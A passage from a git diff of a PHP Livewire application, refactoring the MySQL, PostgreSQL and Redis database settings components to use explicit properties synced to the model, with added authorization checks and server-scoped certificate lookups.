getListeners() return [ "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', - 'refresh' => '$refresh', ]; } protected function rules(): array { return [ - 'database.name' => ValidationPatterns::nameRules(), - 'database.description' => ValidationPatterns::descriptionRules(), - 'database.mysql_root_password' => 'required', - 'database.mysql_user' => 'required', - 'database.mysql_password' => 'required', - 'database.mysql_database' => 'required', - 'database.mysql_conf' => 'nullable', - 'database.image' => 'required', - 'database.ports_mappings' => 'nullable', - 'database.is_public' => 'nullable|boolean', - 'database.public_port' => 'nullable|integer', - 'database.is_log_drain_enabled' => 'nullable|boolean', - 'database.custom_docker_run_options' => 'nullable', - 'database.enable_ssl' => 'boolean', - 'database.ssl_mode' => 'nullable|string|in:PREFERRED,REQUIRED,VERIFY_CA,VERIFY_IDENTITY', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'mysqlRootPassword' => 'required', + 'mysqlUser' => 'required', + 'mysqlPassword' => 'required', + 'mysqlDatabase' => 'required', + 'mysqlConf' => 'nullable', + 'image' => 'required', + 'portsMappings' => 'nullable', + 'isPublic' => 'nullable|boolean', + 'publicPort' => 'nullable|integer', + 'isLogDrainEnabled' => 'nullable|boolean', + 'customDockerRunOptions' => 'nullable', + 'enableSsl' => 'boolean', + 'sslMode' => 'nullable|string|in:PREFERRED,REQUIRED,VERIFY_CA,VERIFY_IDENTITY', ]; } @@ -67,47 +93,100 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'database.name.required' => 'The Name field is required.', - 'database.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'database.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'database.mysql_root_password.required' => 'The Root Password field is required.', - 'database.mysql_user.required' => 'The MySQL User field is required.', - 'database.mysql_password.required' => 'The MySQL Password field is required.', - 'database.mysql_database.required' => 'The MySQL Database field is required.', - 'database.image.required' => 'The Docker Image field is required.', - 'database.public_port.integer' => 'The Public Port must be an integer.', - 'database.ssl_mode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'mysqlRootPassword.required' => 'The Root Password field is required.', + 'mysqlUser.required' => 'The MySQL User field is required.', + 'mysqlPassword.required' => 'The MySQL Password field is required.', + 'mysqlDatabase.required' => 'The MySQL Database field is required.', + 'image.required' => 'The Docker Image field is required.', + 'publicPort.integer' => 'The Public Port must be an integer.', + 'sslMode.in' => 'The SSL Mode must be one of: PREFERRED, REQUIRED, VERIFY_CA, VERIFY_IDENTITY.', ] ); } protected $validationAttributes = [ - 'database.name' => 'Name', - 'database.description' => 'Description', - 'database.mysql_root_password' => 'Root Password', - 'database.mysql_user' => 'User', - 'database.mysql_password' => 'Password', - 'database.mysql_database' => 'Database', - 'database.mysql_conf' => 'MySQL Configuration', - 'database.image' => 'Image', - 'database.ports_mappings' => 'Port Mapping', - 'database.is_public' => 'Is Public', - 'database.public_port' => 'Public Port', - 'database.custom_docker_run_options' => 'Custom Docker Run Options', - 'database.enable_ssl' => 'Enable SSL', - 'database.ssl_mode' => 'SSL Mode', + 'name' => 'Name', + 'description' => 'Description', + 'mysqlRootPassword' => 'Root Password', + 'mysqlUser' => 'User', + 'mysqlPassword' => 'Password', + 'mysqlDatabase' => 'Database', + 'mysqlConf' => 'MySQL Configuration', + 'image' => 'Image', + 'portsMappings' => 'Port Mapping', + 'isPublic' => 'Is Public', + 'publicPort' => 'Public Port', + 'customDockerRunOptions' => 'Custom Docker Run Options', + 'enableSsl' => 'Enable SSL', + 'sslMode' => 'SSL Mode', ]; public function mount() { - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; - $this->server = data_get($this->database, 'destination.server'); + try { + $this->authorize('view', $this->database); + $this->syncData(); + $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); - $existingCert = $this->database->sslCertificates()->first(); + return; + } - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; + $existingCert = $this->database->sslCertificates()->first(); + + if ($existingCert) { + $this->certificateValidUntil = $existingCert->valid_until; + } + } catch (Exception $e) { + return handleError($e, $this); + } + } + + public function syncData(bool $toModel = false) + { + if ($toModel) { + $this->validate(); + $this->database->name = $this->name; + $this->database->description = $this->description; + $this->database->mysql_root_password = $this->mysqlRootPassword; + $this->database->mysql_user = $this->mysqlUser; + $this->database->mysql_password = $this->mysqlPassword; + $this->database->mysql_database = $this->mysqlDatabase; + $this->database->mysql_conf = $this->mysqlConf; + $this->database->image = $this->image; + $this->database->ports_mappings = $this->portsMappings; + $this->database->is_public = $this->isPublic; + $this->database->public_port = $this->publicPort; + $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; + $this->database->custom_docker_run_options = $this->customDockerRunOptions; + $this->database->enable_ssl = $this->enableSsl; + $this->database->ssl_mode = $this->sslMode; + $this->database->save(); + + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; + } else { + $this->name = $this->database->name; + $this->description = $this->database->description; + $this->mysqlRootPassword = $this->database->mysql_root_password; + $this->mysqlUser = $this->database->mysql_user; + $this->mysqlPassword = $this->database->mysql_password; + $this->mysqlDatabase = $this->database->mysql_database; + $this->mysqlConf = $this->database->mysql_conf; + $this->image = $this->database->image; + $this->portsMappings = $this->database->ports_mappings; + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; + $this->customDockerRunOptions = $this->database->custom_docker_run_options; + $this->enableSsl = $this->database->enable_ssl; + $this->sslMode = $this->database->ssl_mode; + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; } } @@ -117,12 +196,12 @@ public function instantSaveAdvanced() $this->authorize('update', $this->database); if (! $this->server->isLogDrainEnabled()) { - $this->database->is_log_drain_enabled = false; + $this->isLogDrainEnabled = false; $this->dispatch('error', 'Log drain is not enabled on the server. Please enable it first.'); return; } - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); $this->dispatch('success', 'You need to restart the service for the changes to take effect.'); } catch (Exception $e) { @@ -135,11 +214,10 @@ public function submit() try { $this->authorize('update', $this->database); - if (str($this->database->public_port)->isEmpty()) { - $this->database->public_port = null; + if (str($this->publicPort)->isEmpty()) { + $this->publicPort = null; } - $this->validate(); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -157,16 +235,16 @@ public function instantSave() try { $this->authorize('update', $this->database); - if ($this->database->is_public && ! $this->database->public_port) { + if ($this->isPublic && ! $this->publicPort) { $this->dispatch('error', 'Public port is required.'); - $this->database->is_public = false; + $this->isPublic = false; return; } - if ($this->database->is_public) { + if ($this->isPublic) { if (! str($this->database->status)->startsWith('running')) { $this->dispatch('error', 'Database must be started to be publicly accessible.'); - $this->database->is_public = false; + $this->isPublic = false; return; } @@ -176,16 +254,15 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } - $this->db_url_public = $this->database->external_db_url; - $this->database->save(); + $this->syncData(true); } catch (\Throwable $e) { - $this->database->is_public = ! $this->database->is_public; + $this->isPublic = ! $this->isPublic; return handleError($e, $this); } } - public function updatedDatabaseSslMode() + public function updatedSslMode() { $this->instantSaveSSL(); } @@ -195,7 +272,7 @@ public function instantSaveSSL() try { $this->authorize('update', $this->database); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'SSL configuration updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -215,7 +292,7 @@ public function regenerateSslCertificate() return; } - $caCert = SslCertificate::where('server_id', $existingCert->server_id)->where('is_ca_certificate', true)->first(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); SslHelper::generateSslCertificate( commonName: $existingCert->common_name, @@ -239,6 +316,7 @@ public function regenerateSslCertificate() public function refresh(): void { $this->database->refresh(); + $this->syncData(); } public function render() diff --git a/app/Livewire/Project/Database/Postgresql/General.php b/app/Livewire/Project/Database/Postgresql/General.php index 2d37620b9..3240aadd2 100644 --- a/app/Livewire/Project/Database/Postgresql/General.php +++ b/app/Livewire/Project/Database/Postgresql/General.php @@ -6,7 +6,6 @@ use App\Actions\Database\StopDatabaseProxy; use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandalonePostgresql; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -21,7 +20,41 @@ class General extends Component public StandalonePostgresql $database; - public Server $server; + public ?Server $server = null; + + public string $name; + + public ?string $description = null; + + public string $postgresUser; + + public string $postgresPassword; + + public string $postgresDb; + + public ?string $postgresInitdbArgs = null; + + public ?string $postgresHostAuthMethod = null; + + public ?string $postgresConf = null; + + public ?array $initScripts = null; + + public string $image; + + public ?string $portsMappings = null; + + public ?bool $isPublic = null; + + public ?int $publicPort = null; + + public bool $isLogDrainEnabled = false; + + public ?string $customDockerRunOptions = null; + + public bool $enableSsl = false; + + public ?string $sslMode = null; public string $new_filename; @@ -39,7 +72,6 @@ public function getListeners() return [ "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', - 'refresh' => '$refresh', 'save_init_script', 'delete_init_script', ]; @@ -48,23 +80,23 @@ public function getListeners() protected function rules(): array { return [ - 'database.name' => ValidationPatterns::nameRules(), - 'database.description' => ValidationPatterns::descriptionRules(), - 'database.postgres_user' => 'required', - 'database.postgres_password' => 'required', - 'database.postgres_db' => 'required', - 'database.postgres_initdb_args' => 'nullable', - 'database.postgres_host_auth_method' => 'nullable', - 'database.postgres_conf' => 'nullable', - 'database.init_scripts' => 'nullable', - 'database.image' => 'required', - 'database.ports_mappings' => 'nullable', - 'database.is_public' => 'nullable|boolean', - 'database.public_port' => 'nullable|integer', - 'database.is_log_drain_enabled' => 'nullable|boolean', - 'database.custom_docker_run_options' => 'nullable', - 'database.enable_ssl' => 'boolean', - 'database.ssl_mode' => 'nullable|string|in:allow,prefer,require,verify-ca,verify-full', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'postgresUser' => 'required', + 'postgresPassword' => 'required', + 'postgresDb' => 'required', + 'postgresInitdbArgs' => 'nullable', + 'postgresHostAuthMethod' => 'nullable', + 'postgresConf' => 'nullable', + 'initScripts' => 'nullable', + 'image' => 'required', + 'portsMappings' => 'nullable', + 'isPublic' => 'nullable|boolean', + 'publicPort' => 'nullable|integer', + 'isLogDrainEnabled' => 'nullable|boolean', + 'customDockerRunOptions' => 'nullable', + 'enableSsl' => 'boolean', + 'sslMode' => 'nullable|string|in:allow,prefer,require,verify-ca,verify-full', ]; } @@ -73,48 +105,105 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'database.name.required' => 'The Name field is required.', - 'database.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'database.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'database.postgres_user.required' => 'The Postgres User field is required.', - 'database.postgres_password.required' => 'The Postgres Password field is required.', - 'database.postgres_db.required' => 'The Postgres Database field is required.', - 'database.image.required' => 'The Docker Image field is required.', - 'database.public_port.integer' => 'The Public Port must be an integer.', - 'database.ssl_mode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'postgresUser.required' => 'The Postgres User field is required.', + 'postgresPassword.required' => 'The Postgres Password field is required.', + 'postgresDb.required' => 'The Postgres Database field is required.', + 'image.required' => 'The Docker Image field is required.', + 'publicPort.integer' => 'The Public Port must be an integer.', + 'sslMode.in' => 'The SSL Mode must be one of: allow, prefer, require, verify-ca, verify-full.', ] ); } protected $validationAttributes = [ - 'database.name' => 'Name', - 'database.description' => 'Description', - 'database.postgres_user' => 'Postgres User', - 'database.postgres_password' => 'Postgres Password', - 'database.postgres_db' => 'Postgres DB', - 'database.postgres_initdb_args' => 'Postgres Initdb Args', - 'database.postgres_host_auth_method' => 'Postgres Host Auth Method', - 'database.postgres_conf' => 'Postgres Configuration', - 'database.init_scripts' => 'Init Scripts', - 'database.image' => 'Image', - 'database.ports_mappings' => 'Port Mapping', - 'database.is_public' => 'Is Public', - 'database.public_port' => 'Public Port', - 'database.custom_docker_run_options' => 'Custom Docker Run Options', - 'database.enable_ssl' => 'Enable SSL', - 'database.ssl_mode' => 'SSL Mode', + 'name' => 'Name', + 'description' => 'Description', + 'postgresUser' => 'Postgres User', + 'postgresPassword' => 'Postgres Password', + 'postgresDb' => 'Postgres DB', + 'postgresInitdbArgs' => 'Postgres Initdb Args', + 'postgresHostAuthMethod' => 'Postgres Host Auth Method', + 'postgresConf' => 'Postgres Configuration', + 'initScripts' => 'Init Scripts', + 'image' => 'Image', + 'portsMappings' => 'Port Mapping', + 'isPublic' => 'Is Public', + 'publicPort' => 'Public Port', + 'customDockerRunOptions' => 'Custom Docker Run Options', + 'enableSsl' => 'Enable SSL', + 'sslMode' => 'SSL Mode', ]; public function mount() { - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; - $this->server = data_get($this->database, 'destination.server'); + try { + $this->authorize('view', $this->database); + $this->syncData(); + $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); - $existingCert = $this->database->sslCertificates()->first(); + return; + } - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; + $existingCert = $this->database->sslCertificates()->first(); + + if ($existingCert) { + $this->certificateValidUntil = $existingCert->valid_until; + } + } catch (Exception $e) { + return handleError($e, $this); + } + } + + public function syncData(bool $toModel = false) + { + if ($toModel) { + $this->validate(); + $this->database->name = $this->name; + $this->database->description = $this->description; + $this->database->postgres_user = $this->postgresUser; + $this->database->postgres_password = $this->postgresPassword; + $this->database->postgres_db = $this->postgresDb; + $this->database->postgres_initdb_args = $this->postgresInitdbArgs; + $this->database->postgres_host_auth_method = $this->postgresHostAuthMethod; + $this->database->postgres_conf = $this->postgresConf; + $this->database->init_scripts = $this->initScripts; + $this->database->image = $this->image; + $this->database->ports_mappings = $this->portsMappings; + $this->database->is_public = $this->isPublic; + $this->database->public_port = $this->publicPort; + $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; + $this->database->custom_docker_run_options = $this->customDockerRunOptions; + $this->database->enable_ssl = $this->enableSsl; + $this->database->ssl_mode = $this->sslMode; + $this->database->save(); + + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; + } else { + $this->name = $this->database->name; + $this->description = $this->database->description; + $this->postgresUser = $this->database->postgres_user; + $this->postgresPassword = $this->database->postgres_password; + $this->postgresDb = $this->database->postgres_db; + $this->postgresInitdbArgs = $this->database->postgres_initdb_args; + $this->postgresHostAuthMethod = $this->database->postgres_host_auth_method; + $this->postgresConf = $this->database->postgres_conf; + $this->initScripts = $this->database->init_scripts; + $this->image = $this->database->image; + $this->portsMappings = $this->database->ports_mappings; + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; + $this->customDockerRunOptions = $this->database->custom_docker_run_options; + $this->enableSsl = $this->database->enable_ssl; + $this->sslMode = $this->database->ssl_mode; + $this->db_url = $this->database->internal_db_url; + $this->db_url_public = $this->database->external_db_url; } } @@ -124,12 +213,12 @@ public function instantSaveAdvanced() $this->authorize('update', $this->database); if (! $this->server->isLogDrainEnabled()) { - $this->database->is_log_drain_enabled = false; + $this->isLogDrainEnabled = false; $this->dispatch('error', 'Log drain is not enabled on the server. Please enable it first.'); return; } - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); $this->dispatch('success', 'You need to restart the service for the changes to take effect.'); } catch (Exception $e) { @@ -137,7 +226,7 @@ public function instantSaveAdvanced() } } - public function updatedDatabaseSslMode() + public function updatedSslMode() { $this->instantSaveSSL(); } @@ -147,10 +236,8 @@ public function instantSaveSSL() try { $this->authorize('update', $this->database); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'SSL configuration updated.'); - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; } catch (Exception $e) { return handleError($e, $this); } @@ -169,7 +256,7 @@ public function regenerateSslCertificate() return; } - $caCert = SslCertificate::where('server_id', $existingCert->server_id)->where('is_ca_certificate', true)->first(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); SslHelper::generateSslCertificate( commonName: $existingCert->common_name, @@ -195,16 +282,16 @@ public function instantSave() try { $this->authorize('update', $this->database); - if ($this->database->is_public && ! $this->database->public_port) { + if ($this->isPublic && ! $this->publicPort) { $this->dispatch('error', 'Public port is required.'); - $this->database->is_public = false; + $this->isPublic = false; return; } - if ($this->database->is_public) { + if ($this->isPublic) { if (! str($this->database->status)->startsWith('running')) { $this->dispatch('error', 'Database must be started to be publicly accessible.'); - $this->database->is_public = false; + $this->isPublic = false; return; } @@ -214,10 +301,9 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } - $this->db_url_public = $this->database->external_db_url; - $this->database->save(); + $this->syncData(true); } catch (\Throwable $e) { - $this->database->is_public = ! $this->database->is_public; + $this->isPublic = ! $this->isPublic; return handleError($e, $this); } @@ -227,7 +313,7 @@ public function save_init_script($script) { $this->authorize('update', $this->database); - $initScripts = collect($this->database->init_scripts ?? []); + $initScripts = collect($this->initScripts ?? []); $existingScript = $initScripts->firstWhere('filename', $script['filename']); $oldScript = $initScripts->firstWhere('index', $script['index']); @@ -263,7 +349,7 @@ public function save_init_script($script) $initScripts->push($script); } - $this->database->init_scripts = $initScripts->values() + $this->initScripts = $initScripts->values() ->map(function ($item, $index) { $item['index'] = $index; @@ -271,7 +357,7 @@ public function save_init_script($script) }) ->all(); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Init script saved and updated.'); } @@ -279,7 +365,7 @@ public function delete_init_script($script) { $this->authorize('update', $this->database); - $collection = collect($this->database->init_scripts); + $collection = collect($this->initScripts); $found = $collection->firstWhere('filename', $script['filename']); if ($found) { $container_name = $this->database->uuid; @@ -304,8 +390,8 @@ public function delete_init_script($script) }) ->all(); - $this->database->init_scripts = $updatedScripts; - $this->database->save(); + $this->initScripts = $updatedScripts; + $this->syncData(true); $this->dispatch('refresh')->self(); $this->dispatch('success', 'Init script deleted from the database and the server.'); } @@ -319,23 +405,23 @@ public function save_new_init_script() 'new_filename' => 'required|string', 'new_content' => 'required|string', ]); - $found = collect($this->database->init_scripts)->firstWhere('filename', $this->new_filename); + $found = collect($this->initScripts)->firstWhere('filename', $this->new_filename); if ($found) { $this->dispatch('error', 'Filename already exists.'); return; } - if (! isset($this->database->init_scripts)) { - $this->database->init_scripts = []; + if (! isset($this->initScripts)) { + $this->initScripts = []; } - $this->database->init_scripts = array_merge($this->database->init_scripts, [ + $this->initScripts = array_merge($this->initScripts, [ [ - 'index' => count($this->database->init_scripts), + 'index' => count($this->initScripts), 'filename' => $this->new_filename, 'content' => $this->new_content, ], ]); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Init script added.'); $this->new_content = ''; $this->new_filename = ''; @@ -346,11 +432,10 @@ public function submit() try { $this->authorize('update', $this->database); - if (str($this->database->public_port)->isEmpty()) { - $this->database->public_port = null; + if (str($this->publicPort)->isEmpty()) { + $this->publicPort = null; } - $this->validate(); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); } catch (Exception $e) { return handleError($e, $this); diff --git a/app/Livewire/Project/Database/Redis/General.php b/app/Livewire/Project/Database/Redis/General.php index 1eb4f5c8d..846614d21 100644 --- a/app/Livewire/Project/Database/Redis/General.php +++ b/app/Livewire/Project/Database/Redis/General.php @@ -6,7 +6,6 @@ use App\Actions\Database\StopDatabaseProxy; use App\Helpers\SslHelper; use App\Models\Server; -use App\Models\SslCertificate; use App\Models\StandaloneRedis; use App\Support\ValidationPatterns; use Carbon\Carbon; @@ -19,19 +18,39 @@ class General extends Component { use AuthorizesRequests; - public Server $server; + public ?Server $server = null; public StandaloneRedis $database; - public string $redis_username; + public string $name; - public ?string $redis_password; + public ?string $description = null; - public string $redis_version; + public ?string $redisConf = null; - public ?string $db_url = null; + public string $image; - public ?string $db_url_public = null; + public ?string $portsMappings = null; + + public ?bool $isPublic = null; + + public ?int $publicPort = null; + + public bool $isLogDrainEnabled = false; + + public ?string $customDockerRunOptions = null; + + public string $redisUsername; + + public string $redisPassword; + + public string $redisVersion; + + public ?string $dbUrl = null; + + public ?string $dbUrlPublic = null; + + public bool $enableSsl = false; public ?Carbon $certificateValidUntil = null; @@ -42,25 +61,24 @@ public function getListeners() return [ "echo-private:user.{$userId},DatabaseStatusChanged" => '$refresh', 'envsUpdated' => 'refresh', - 'refresh', ]; } protected function rules(): array { return [ - 'database.name' => ValidationPatterns::nameRules(), - 'database.description' => ValidationPatterns::descriptionRules(), - 'database.redis_conf' => 'nullable', - 'database.image' => 'required', - 'database.ports_mappings' => 'nullable', - 'database.is_public' => 'nullable|boolean', - 'database.public_port' => 'nullable|integer', - 'database.is_log_drain_enabled' => 'nullable|boolean', - 'database.custom_docker_run_options' => 'nullable', - 'redis_username' => 'required', - 'redis_password' => 'required', - 'database.enable_ssl' => 'boolean', + 'name' => ValidationPatterns::nameRules(), + 'description' => ValidationPatterns::descriptionRules(), + 'redisConf' => 'nullable', + 'image' => 'required', + 'portsMappings' => 'nullable', + 'isPublic' => 'nullable|boolean', + 'publicPort' => 'nullable|integer', + 'isLogDrainEnabled' => 'nullable|boolean', + 'customDockerRunOptions' => 'nullable', + 'redisUsername' => 'required', + 'redisPassword' => 'required', + 'enableSsl' => 'boolean', ]; } @@ -69,39 +87,87 @@ protected function messages(): array return array_merge( ValidationPatterns::combinedMessages(), [ - 'database.name.required' => 'The Name field is required.', - 'database.name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', - 'database.description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', - 'database.image.required' => 'The Docker Image field is required.', - 'database.public_port.integer' => 'The Public Port must be an integer.', - 'redis_username.required' => 'The Redis Username field is required.', - 'redis_password.required' => 'The Redis Password field is required.', + 'name.required' => 'The Name field is required.', + 'name.regex' => 'The Name may only contain letters, numbers, spaces, dashes (-), underscores (_), dots (.), slashes (/), colons (:), and parentheses ().', + 'description.regex' => 'The Description contains invalid characters. Only letters, numbers, spaces, and common punctuation (- _ . : / () \' " , ! ? @ # % & + = [] {} | ~ ` *) are allowed.', + 'image.required' => 'The Docker Image field is required.', + 'publicPort.integer' => 'The Public Port must be an integer.', + 'redisUsername.required' => 'The Redis Username field is required.', + 'redisPassword.required' => 'The Redis Password field is required.', ] ); } protected $validationAttributes = [ - 'database.name' => 'Name', - 'database.description' => 'Description', - 'database.redis_conf' => 'Redis Configuration', - 'database.image' => 'Image', - 'database.ports_mappings' => 'Port Mapping', - 'database.is_public' => 'Is Public', - 'database.public_port' => 'Public Port', - 'database.custom_docker_run_options' => 'Custom Docker Options', - 'redis_username' => 'Redis Username', - 'redis_password' => 'Redis Password', - 'database.enable_ssl' => 'Enable SSL', + 'name' => 'Name', + 'description' => 'Description', + 'redisConf' => 'Redis Configuration', + 'image' => 'Image', + 'portsMappings' => 'Port Mapping', + 'isPublic' => 'Is Public', + 'publicPort' => 'Public Port', + 'customDockerRunOptions' => 'Custom Docker Options', + 'redisUsername' => 'Redis Username', + 'redisPassword' => 'Redis Password', + 'enableSsl' => 'Enable SSL', ]; public function mount() { - $this->server = data_get($this->database, 'destination.server'); - $this->refreshView(); - $existingCert = $this->database->sslCertificates()->first(); + try { + $this->authorize('view', $this->database); + $this->syncData(); + $this->server = data_get($this->database, 'destination.server'); + if (! $this->server) { + $this->dispatch('error', 'Database destination server is not configured.'); - if ($existingCert) { - $this->certificateValidUntil = $existingCert->valid_until; + return; + } + + $existingCert = $this->database->sslCertificates()->first(); + + if ($existingCert) { + $this->certificateValidUntil = $existingCert->valid_until; + } + } catch (\Throwable $e) { + return handleError($e, $this); + } + } + + public function syncData(bool $toModel = false) + { + if ($toModel) { + $this->validate(); + $this->database->name = $this->name; + $this->database->description = $this->description; + $this->database->redis_conf = $this->redisConf; + $this->database->image = $this->image; + $this->database->ports_mappings = $this->portsMappings; + $this->database->is_public = $this->isPublic; + $this->database->public_port = $this->publicPort; + $this->database->is_log_drain_enabled = $this->isLogDrainEnabled; + $this->database->custom_docker_run_options = $this->customDockerRunOptions; + $this->database->enable_ssl = $this->enableSsl; + $this->database->save(); + + $this->dbUrl = $this->database->internal_db_url; + $this->dbUrlPublic = $this->database->external_db_url; + } else { + $this->name = $this->database->name; + $this->description = $this->database->description; + $this->redisConf = $this->database->redis_conf; + $this->image = $this->database->image; + $this->portsMappings = $this->database->ports_mappings; + $this->isPublic = $this->database->is_public; + $this->publicPort = $this->database->public_port; + $this->isLogDrainEnabled = $this->database->is_log_drain_enabled; + $this->customDockerRunOptions = $this->database->custom_docker_run_options; + $this->enableSsl = $this->database->enable_ssl; + $this->dbUrl = $this->database->internal_db_url; + $this->dbUrlPublic = $this->database->external_db_url; + $this->redisVersion = $this->database->getRedisVersion(); + $this->redisUsername = $this->database->redis_username; + $this->redisPassword = $this->database->redis_password; } } @@ -111,12 +177,12 @@ public function instantSaveAdvanced() $this->authorize('update', $this->database); if (! $this->server->isLogDrainEnabled()) { - $this->database->is_log_drain_enabled = false; + $this->isLogDrainEnabled = false; $this->dispatch('error', 'Log drain is not enabled on the server. Please enable it first.'); return; } - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'Database updated.'); $this->dispatch('success', 'You need to restart the service for the changes to take effect.'); } catch (Exception $e) { @@ -129,20 +195,19 @@ public function submit() try { $this->authorize('manageEnvironment', $this->database); - $this->validate(); + $this->syncData(true); - if (version_compare($this->redis_version, '6.0', '>=')) { + if (version_compare($this->redisVersion, '6.0', '>=')) { $this->database->runtime_environment_variables()->updateOrCreate( ['key' => 'REDIS_USERNAME'], - ['value' => $this->redis_username, 'resourceable_id' => $this->database->id] + ['value' => $this->redisUsername, 'resourceable_id' => $this->database->id] ); } $this->database->runtime_environment_variables()->updateOrCreate( ['key' => 'REDIS_PASSWORD'], - ['value' => $this->redis_password, 'resourceable_id' => $this->database->id] + ['value' => $this->redisPassword, 'resourceable_id' => $this->database->id] ); - $this->database->save(); $this->dispatch('success', 'Database updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -156,16 +221,16 @@ public function instantSave() try { $this->authorize('update', $this->database); - if ($this->database->is_public && ! $this->database->public_port) { + if ($this->isPublic && ! $this->publicPort) { $this->dispatch('error', 'Public port is required.'); - $this->database->is_public = false; + $this->isPublic = false; return; } - if ($this->database->is_public) { + if ($this->isPublic) { if (! str($this->database->status)->startsWith('running')) { $this->dispatch('error', 'Database must be started to be publicly accessible.'); - $this->database->is_public = false; + $this->isPublic = false; return; } @@ -175,10 +240,11 @@ public function instantSave() StopDatabaseProxy::run($this->database); $this->dispatch('success', 'Database is no longer publicly accessible.'); } - $this->db_url_public = $this->database->external_db_url; - $this->database->save(); + $this->dbUrlPublic = $this->database->external_db_url; + $this->syncData(true); } catch (\Throwable $e) { - $this->database->is_public = ! $this->database->is_public; + $this->isPublic = ! $this->isPublic; + $this->syncData(true); return handleError($e, $this); } @@ -189,7 +255,7 @@ public function instantSaveSSL() try { $this->authorize('update', $this->database); - $this->database->save(); + $this->syncData(true); $this->dispatch('success', 'SSL configuration updated.'); } catch (Exception $e) { return handleError($e, $this); @@ -209,7 +275,7 @@ public function regenerateSslCertificate() return; } - $caCert = SslCertificate::where('server_id', $existingCert->server_id)->where('is_ca_certificate', true)->first(); + $caCert = $this->server->sslCertificates()->where('is_ca_certificate', true)->first(); SslHelper::generateSslCertificate( commonName: $existingCert->commonName, @@ -233,16 +299,7 @@ public function regenerateSslCertificate() public function refresh(): void { $this->database->refresh(); - $this->refreshView(); - } - - private function refreshView() - { - $this->db_url = $this->database->internal_db_url; - $this->db_url_public = $this->database->external_db_url; - $this->redis_version = $this->database->getRedisVersion(); - $this->redis_username = $this->database->redis_username; - $this->redis_password = $this->database->redis_password; + $this->syncData(); } public function render() diff --git a/app/Livewire/Project/New/DockerCompose.php b/app/Livewire/Project/New/DockerCompose.php index 5cda1dedd..a88a62d88 100644 --- a/app/Livewire/Project/New/DockerCompose.php +++ b/app/Livewire/Project/New/DockerCompose.php @@ -37,6 +37,10 @@ public function submit() 'dockerComposeRaw' => 'required', ]); $this->dockerComposeRaw = Yaml::dump(Yaml::parse($this->dockerComposeRaw), 10, 2, Yaml::DUMP_MULTI_LINE_LITERAL_BLOCK); + + // 